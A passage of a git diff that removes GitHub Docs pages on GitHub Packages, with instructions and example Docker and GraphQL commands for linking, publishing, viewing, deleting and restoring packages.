data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -1. At the bottom of the page, under "Danger Zone", click **Change visibility** and choose a visibility setting: - * To make the package visible to anyone, click **Public**. - - > [!WARNING] - > Once you make a package public, you cannot make it private again. - - * To make the package visible to a custom selection of people in your organization, click **Private**.{% ifversion not fpt %} - * To make the package visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the packages will be visible to all enterprise members.{% endif %} diff --git a/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md b/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md deleted file mode 100644 index b4e8a3eaf921..000000000000 --- a/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Connecting a repository to a package -intro: 'You can connect a repository to a package on {% data variables.product.github %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /packages/managing-container-images-with-github-container-registry/connecting-a-repository-to-a-container-image - - /packages/guides/connecting-a-repository-to-a-container-image -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Connect a repository ---- - -When you publish a package that is scoped to a personal account or an organization, the package is not linked to a repository by default. If you connect a package to a repository, the package's landing page will show information and links from the repository, such as the README. You can also choose to have the package inherit its access permissions from the linked repository. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -## Connecting a repository to a user-scoped package on {% data variables.product.prodname_dotcom %} - -{% data reusables.package_registry.package-settings-from-user-level %} -1. Search for and then click the name of the package that you want to manage. -{% data reusables.package_registry.repository_connection_steps %} - -## Connecting a repository to an organization-scoped package on {% data variables.product.prodname_dotcom %} - -{% data reusables.package_registry.package-settings-from-org-level %} -1. Search for and then click the name of the package that you want to manage. -{% data reusables.package_registry.repository_connection_steps %} - -## Connecting a repository to a container image using the command line - -{% data reusables.package_registry.auto-inherit-permissions-note %} - -{% ifversion ghes %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} - -1. In your Dockerfile, add this line, replacing {% ifversion ghes %}`HOSTNAME`, {% endif %}`OWNER` and `REPO` with your details: - - ```shell - LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPO - ``` - - For example, if you're the user `octocat` and own `my-repo`{% ifversion ghes %}, and your {% data variables.product.github %} hostname is `github.companyname.com`,{% endif %} you would add this line to your Dockerfile: - - ```shell - LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/octocat/my-repo - ``` - - For more information, see [LABEL](https://docs.docker.com/engine/reference/builder/#label) in the official Docker documentation and [Pre-defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/main/annotations.md#pre-defined-annotation-keys) in the `opencontainers/image-spec` repository. - -1. Build your container image. This example builds an image from the Dockerfile in the current directory and assigns the image name `hello_docker`. - - ```shell - docker build -t hello_docker . - ``` - -1. Optionally, review the details of the Docker image you just created. - - ```shell - $ docker images - > REPOSITORY TAG IMAGE ID CREATED SIZE - > hello_docker latest 142e665b1faa 5 seconds ago 125MB - > redis latest afb5e116cac0 3 months ago 111MB - > alpine latest a6215f271958 5 months ago 5.29MB - ``` - -1. Assign a name and hosting destination to your Docker image. - - ```shell - docker tag IMAGE_NAME {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/NEW_IMAGE_NAME:TAG - ``` - - Replace `NAMESPACE` with the name of the personal account or organization to which you want the package to be scoped. - - For example: - - ```shell - docker tag 38f737a91f39 {% ifversion fpt or ghec %}ghcr.io{% elsif ghes %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/octocat/hello_docker:latest - ``` - -1. If you haven't already, authenticate to the {% data variables.product.prodname_container_registry %}. For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#authenticating-to-the-container-registry). - {% raw %} - - ```shell - $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin - > Login Succeeded - ``` - - {% endraw %} -1. Push your container image to the {% data variables.product.prodname_container_registry %}. - - ```shell - docker push {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE-NAME:TAG - ``` - - For example: - - ```shell - docker push {% ifversion fpt or ghec %}ghcr.io{% elsif ghes %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/octocat/hello_docker:latest - ``` - -## Unlinking a repository from a package on GitHub - -> [!NOTE] -> Unlinking a package from a repository will remove the repository information from the package's landing page and can affect the access pattern depending on whether the package inherits its access permissions from the repository. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#about-inheritance-of-access-permissions). This behavior does not apply to Apache Maven packages, as outlined in [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -1. On GitHub, navigate to the settings page of the Package you'd like to unlink. - -1. On the Package settings page, you will see a Repository source section. If this section is not present, then the Package is not currently linked to a repository. - -1. Click on the trash icon in the top right corner of the Repository source section. - -> It is possible that the Repository source section exists, but there is no trash icon present. This is because a repository source has been defined as part of the packaged code i.e. a `package.json` file, `.gemspec` file, however, it is not actually linked to a repository on GitHub. To link the package to a repository, you will need to follow the steps in the section above. - -1. Confirm that you would like to unlink the repository from the package with the dialogue. - -## Migrating a package to another repository - -If you currently have a package linked to a repository and you would like to link it to a different repository, this can be done by unlinking the package from the current repository and linking it to the new repository. - -1. Follow the steps to unlink it, see [Unlinking a repository from a package on {% data variables.product.prodname_dotcom %}](/packages/learn-github-packages/connecting-a-repository-to-a-package#unlinking-a-repository-from-a-package-on-github). -1. Follow the steps to link the package to the new repository, see [Connecting a repository to an organization-scoped package on {% data variables.product.prodname_dotcom %}](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-a-user-scoped-package-on-github) or [Connecting a repository to a user-scoped package on {% data variables.product.prodname_dotcom %}](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-an-organization-scoped-package-on-github). diff --git a/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/content/packages/learn-github-packages/deleting-and-restoring-a-package.md deleted file mode 100644 index 6ad1c05a77bb..000000000000 --- a/content/packages/learn-github-packages/deleting-and-restoring-a-package.md +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Deleting and restoring a package -intro: Learn how to delete or restore a package. -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/managing-packages-with-github-packages/deleting-a-package - - /packages/publishing-and-managing-packages/deleting-a-package - - /packages/manage-packages/deleting-a-package - - /packages/guides/deleting-a-container-image -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Delete & restore a package ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## Package deletion and restoration support on {% data variables.product.prodname_dotcom %} - -On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete: -* An entire private package -* An entire public package, if there's not more than 5000 downloads of any version of the package -* A specific version of a private package -* A specific version of a public package, if the package version doesn't have more than 5,000 downloads - -> [!NOTE] -> * You cannot delete a public package if any version of the package has more than 5,000 downloads. In this scenario, contact us through the {% data variables.contact.contact_support_portal %} for further assistance. -> * When deleting public packages, be aware that you may break projects that depend on your package. - -On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if: -* You restore the package within 30 days of its deletion. -* The same package namespace is still available and not used for a new package. - -## Packages API support - -{% data reusables.package_registry.packages-classic-pat-only %} - -You can use the REST API to manage your packages. For more information, see the [AUTOTITLE](/rest/packages). - -{% data reusables.package_registry.delete-with-github-token-using-api-beta %} - -With registries that support granular permissions, you can use a `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow to delete or restore packages using the REST API. The token must have `admin` permission to the package. If your workflow publishes a package, the `admin` role is granted by default to the repository where the workflow is stored. For existing packages not published by a workflow, you need to grant the repository the `admin` role to be able to use a {% data variables.product.prodname_actions %} workflow to delete or restore packages using the REST API. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package). - -{% data reusables.package_registry.about-graphql-support %} - -## Required permissions to delete or restore a package - -With registries that support granular permissions, you can choose to allow packages to be scoped to a user or an organization, or linked to a repository. - -To delete a package that has granular permissions separate from a repository, such as container images stored at {% ifversion ghes %}`https://containers.HOSTNAME/NAMESPACE/PACKAGE-NAME`{% else %}`https://ghcr.io/NAMESPACE/PACKAGE-NAME`{% endif %}{% ifversion packages-npm-v2 %} or packages stored at `https://npm.pkg.github.com/NAMESPACE/PACKAGE-NAME`{% endif %} (where `NAMESPACE` is the name of the personal account or organization to which the package is scoped), you must have admin access to the package. For more information, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages). - -For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository. - -Some registries **only** support repository-scoped packages. For a list of these registries, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages). - -## Deleting a package version - -### Deleting a version of a repository-scoped package on {% data variables.product.prodname_dotcom %} - -To delete a version of a repository-scoped package, you must have admin permissions to the repository in which the package is published. For more information, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -1. Search for and then click the name of the package that you want to manage. -{% data reusables.package_registry.package-settings-manage-versions-menu %} -{% data reusables.package_registry.package-settings-delete-versions %} -1. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. - -### Deleting a version of a repository-scoped package with GraphQL - -{% data reusables.package_registry.about-graphql-support %} For information on using the REST API instead, see the [AUTOTITLE](/rest/packages). - -Use the `deletePackageVersion` mutation in the GraphQL API. You must use a {% data variables.product.pat_v1 %} with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about {% data variables.product.pat_v1_plural %}, see [AUTOTITLE](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages). - -The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`. - -```shell -curl -X POST \ --H "Accept: application/vnd.github.package-deletes-preview+json" \ --H "Authorization: bearer TOKEN" \ --d '{"query":"mutation { deletePackageVersion(input:{packageVersionId:\"MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg==\"}) { success }}"}' \ -HOSTNAME/graphql -``` - -To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a {% data variables.product.pat_v1 %} with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface. - -For more information about the `deletePackageVersion` mutation, see [AUTOTITLE](/graphql/reference/mutations#deletepackageversion). - -You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.github %}. - -{% ifversion fpt or ghec %} - -### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %} - -To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see [Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github). - -To review who can delete a package version, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-manage-versions-menu %} -{% data reusables.package_registry.package-settings-delete-versions %} -1. In the confirmation box, type the name of the package to confirm you want to delete the chosen version of it. -1. Click **I understand the consequences, delete this version**. - -### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %} - -To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. -To delete an entire package, see [Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github). - -To review who can delete a package version, see [Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-manage-versions-menu %} -{% data reusables.package_registry.package-settings-delete-versions %} -1. In the confirmation box, type the name of the package to confirm you want to delete the chosen version of it. -1. Click **I understand the consequences, delete this version**. -{% endif %} - -## Deleting an entire package - -### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %} - -To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -{% data reusables.package_registry.package-settings-option %} -1. At the bottom of the page, under "Danger Zone", click **Delete this package**. -1. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.** - -### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %} - -To review who can delete a package, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-options-menu %} -1. At the bottom of the page, under "Danger zone", click **Delete this package**. -1. In the confirmation box, type the name of the package to confirm you want to delete it. -1. Click **I understand the consequences, delete this package**. - -### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %} - -To review who can delete a package, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-options-menu %} -1. At the bottom of the page, under "Danger zone", click **Delete this package**. -1. In the confirmation box, type the name of the package to confirm you want to delete it. -1. Click **I understand the consequences, delete this package**. - -## Restoring packages - -You can restore a deleted package or version if: -* You restore the package within 30 days of its deletion. -* The same package namespace and version is still available and not reused for a new package. - -For example, if you're the user `octocat`, and you have a deleted RubyGems package named `my-package` that was scoped to the repo `octocat/my-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octocat/my-repo/my-package` is still available, and 30 days have not yet passed. - -{% ifversion fpt or ghec %} -To restore a deleted package, you must also meet one of these permission requirements: -* For repository-scoped packages: You have admin permissions to the repository in which the deleted package is published.{% ifversion fpt or ghec %} -* For user-account scoped packages: The deleted package is scoped to your personal account. -* For organization-scoped packages: You have admin permissions to the deleted package in the organization to which the package is scoped.{% endif %} -{% endif %} - -{% ifversion ghes %} -To delete a package, you must also have admin permissions to the repository in which the package is published. -{% endif %} - -For more information, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first. - -### Restoring a package in an organization - - You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organization or had granular permissions and was scoped to your organization account. - -To review who can restore a package in an organization, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -1. On the left, click **Packages**. -1. Under "Deleted Packages", next to the package you want to restore, click **Restore**. -1. To confirm, type the name of the package and click **I understand the consequences, restore this package**. - -### Restoring a user-account scoped package - -You can restore a deleted package through your personal account settings, if the package was in one of your repositories or scoped to your personal account. For more information, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -{% data reusables.user-settings.access_settings %} -1. In the left sidebar, click **Packages**. -1. Under "Deleted Packages", next to the package you want to restore, click **Restore**. -1. To confirm, type the name of the package and click **I understand the consequences, restore this package**. - -### Restoring a package version - -You can restore a package version from your package's landing page. To review who can restore a package, see [Required permissions](#required-permissions-to-delete-or-restore-a-package). - -1. Navigate to your package's landing page. -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-manage-versions-menu %} -{% data reusables.package_registry.package-settings-versions-deleted-dropdown %} -1. Next to the deleted package version you want to restore, click **Restore**. -1. To confirm, click **I understand the consequences, restore this version.** diff --git a/content/packages/learn-github-packages/index.md b/content/packages/learn-github-packages/index.md deleted file mode 100644 index 45edf4987a6e..000000000000 --- a/content/packages/learn-github-packages/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Learn GitHub Packages -shortTitle: Learn GitHub Packages -intro: 'You can find out more about using packages in GitHub, including publishing new packages to {% data variables.product.prodname_registry %}, view and install existing packages, and, in special circumstances, delete existing packages.' -redirect_from: - - /packages/getting-started-with-github-container-registry - - /github/managing-packages-with-github-packages/publishing-and-managing-packages - - /github/packages/publishing-and-managing-packages - - /packages/publishing-and-managing-packages - - /packages/manage-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /introduction-to-github-packages - - /about-permissions-for-github-packages - - /configuring-a-packages-access-control-and-visibility - - /connecting-a-repository-to-a-package - - /publishing-a-package - - /viewing-packages - - /installing-a-package - - /deleting-and-restoring-a-package ---- -{% data reusables.package_registry.packages-ghes-release-stage %} diff --git a/content/packages/learn-github-packages/installing-a-package.md b/content/packages/learn-github-packages/installing-a-package.md deleted file mode 100644 index 81f69330f089..000000000000 --- a/content/packages/learn-github-packages/installing-a-package.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Installing a package -intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/managing-packages-with-github-packages/installing-a-package - - /packages/publishing-and-managing-packages/installing-a-package - - /packages/manage-packages/installing-a-package -permissions: You can install any package that you have permission to view. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About package installation - -You can search on {% data variables.product.github %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-packages). - -After you find a package, you can read the package's description and installation and usage instructions on the package page. - -## Installing a package - -You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. - -1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see [AUTOTITLE](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages). -1. Install the package using the instructions for your package client. - -For instructions specific to your package client, see [AUTOTITLE](/packages/working-with-a-github-packages-registry). diff --git a/content/packages/learn-github-packages/introduction-to-github-packages.md b/content/packages/learn-github-packages/introduction-to-github-packages.md deleted file mode 100644 index 205541d3ffc4..000000000000 --- a/content/packages/learn-github-packages/introduction-to-github-packages.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Introduction to GitHub Packages -intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/about-github-package-registry - - /github/managing-packages-with-github-package-registry/about-github-package-registry - - /github/managing-packages-with-github-packages/about-github-packages - - /packages/publishing-and-managing-packages/about-github-packages - - /packages/learn-github-packages/about-github-packages - - /packages/learn-github-packages/core-concepts-for-github-packages - - /packages/guides/about-github-container-registry -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Introduction ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About {% data variables.product.prodname_registry %} - -{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion fpt or ghec %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.github %}. - -You can integrate {% data variables.product.prodname_registry %} with {% data variables.product.github %}'s APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. - -{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see [AUTOTITLE](/packages/working-with-a-github-packages-registry). - -You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.github %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/viewing-packages). - -{% ifversion ghes %} - -For more information about the configuration of {% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). - -{% endif %} - -### Overview of package permissions - -The permissions for a package are either inherited from the repository where the package is hosted, or can be defined for specific users or organizations. Some registries only support permissions inherited from a repository. For a list of these registries, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages). For more information on package access, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -### Overview of package visibility - -{% data reusables.package_registry.public-or-private-packages %} - -{% ifversion fpt or ghec %} - -## About billing for {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). - -{% endif %} - -## Supported clients and formats - - -{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. - -### Support for package registries - -| Language | Description | Package format | Package client | -| --- | --- | --- | --- | -| JavaScript | Node package manager | `package.json` | `npm` | -| Ruby | RubyGems package manager | `Gemfile` | `gem` | -| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | -| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | -| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | -| N/A | Docker container management | `Dockerfile` | `Docker` | - -{% ifversion ghes %} - -> [!NOTE] -> When enabling the Docker registry, we highly recommend also enabling subdomain isolation. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). - -{% endif %} - -{% ifversion ghec %} - -> [!NOTE] -> The Apache Maven and Gradle registries are not available for {% data variables.enterprise.data_residency %}. - -{% endif %} - -For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see [AUTOTITLE](/packages/working-with-a-github-packages-registry). - -{% ifversion fpt or ghec %} -For more information about Docker and the {% data variables.product.prodname_container_registry %}, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). -{% endif %} - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% data reusables.package_registry.authenticate-packages-github-token %} - -## Managing packages - -You can delete a package in the {% data variables.product.github %} user interface or using the REST API. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) and the [AUTOTITLE](/rest/packages). {% data reusables.package_registry.about-graphql-support %} - -When you use the GraphQL API to query and delete private packages, you must use the same {% data variables.product.pat_v1 %} you use to authenticate to {% data variables.product.prodname_registry %}. - -For more information, see {% ifversion ghes %}[AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) and {% endif %}[AUTOTITLE](/graphql/guides/forming-calls-with-graphql). - -You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#package). - -## Contacting support - -{% ifversion fpt or ghec %} -If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/actions-and-packages). - -Contact us through the {% data variables.contact.contact_support_portal %} about {% data variables.product.prodname_registry %} if: - -* You experience anything that contradicts the documentation -* You encounter vague or unclear errors -* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information - -{% else %} -If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. - -{% endif %} diff --git a/content/packages/learn-github-packages/publishing-a-package.md b/content/packages/learn-github-packages/publishing-a-package.md deleted file mode 100644 index fbf1f5006c6e..000000000000 --- a/content/packages/learn-github-packages/publishing-a-package.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Publishing a package -intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/managing-packages-with-github-packages/publishing-a-package - - /packages/publishing-and-managing-packages/publishing-a-package -permissions: Anyone with write permissions for a repository can publish a package to that repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About published packages - -You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.github %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). - -{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. - -{% ifversion fpt or ghec %} -If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). -{% endif %} - -## Publishing a package - -{% data reusables.package_registry.packages-classic-pat-only %} - -You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. - -1. Create or use an existing {% data variables.product.pat_v1 %} with the appropriate scopes for the task you want to accomplish. For more information, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages). -1. Authenticate to {% data variables.product.prodname_registry %} using your {% data variables.product.pat_v1 %} and the instructions for your package client. -1. Publish the package using the instructions for your package client. - -For instructions specific to your package client, see [AUTOTITLE](/packages/working-with-a-github-packages-registry). - -After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/viewing-packages). diff --git a/content/packages/learn-github-packages/viewing-packages.md b/content/packages/learn-github-packages/viewing-packages.md deleted file mode 100644 index 6d973143c07b..000000000000 --- a/content/packages/learn-github-packages/viewing-packages.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Viewing packages -intro: 'You can see details about packages published to a repository, and narrow results by organization or user.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/viewing-a-repositorys-packages - - /github/managing-packages-with-github-packages/publishing-and-managing-packages/viewing-a-repositorys-packages - - /github/managing-packages-with-github-packages/viewing-packages - - /packages/publishing-and-managing-packages/viewing-packages - - /packages/manage-packages/viewing-packages -permissions: You must have at least read permissions to view a package. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About package views - -Your ability to view a package depends on several factors. By default, you can view all packages you have published. - -Repository-scoped packages inherit their permissions and visibility from the repository in which the package is published. Some registries **only** support repository-scoped packages. For a list of these registries, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages). - -Other registries offer you the option of granular permissions and visibility settings that can be customized for each package scoped to a personal account or organization. You can choose to use granular permissions or connect the package to a repository and inherit the repository's permissions. For more information, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package) and [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -{% data reusables.package_registry.package-page-info %} - -## Viewing a repository's packages - -You can find and view a package located in a particular repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -{% data reusables.package_registry.navigate-to-packages %} - -## Viewing an organization's packages - -You can find and view a package located in the repositories of an organization you belong to. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -1. Under your organization name, click **{% octicon "package" aria-hidden="true" %} Packages**. -{% data reusables.package_registry.navigate-to-packages %} - -## Viewing your packages - -You can find and view any package you've published across all organizations and repositories. - -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.navigate-to-packages %} - -## Further reading - -* [AUTOTITLE](/search-github/searching-on-github/searching-for-packages) diff --git a/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md b/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md deleted file mode 100644 index bb03f5fbe5cd..000000000000 --- a/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: About GitHub Packages and GitHub Actions -intro: 'Learn the fundamentals of managing packages through your {% data variables.product.prodname_actions %} workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Packages & Actions ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.about-packaging-and-actions %} diff --git a/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md b/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md deleted file mode 100644 index ee55b7679cb4..000000000000 --- a/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Example workflows for publishing a package -intro: 'To help you get started with your own custom workflows, review some example workflows for publishing packages.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Example workflows ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -You can find example workflows in [AUTOTITLE](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions) or in any of these {% data variables.product.prodname_actions %} guides: - -* [Publishing Node.js 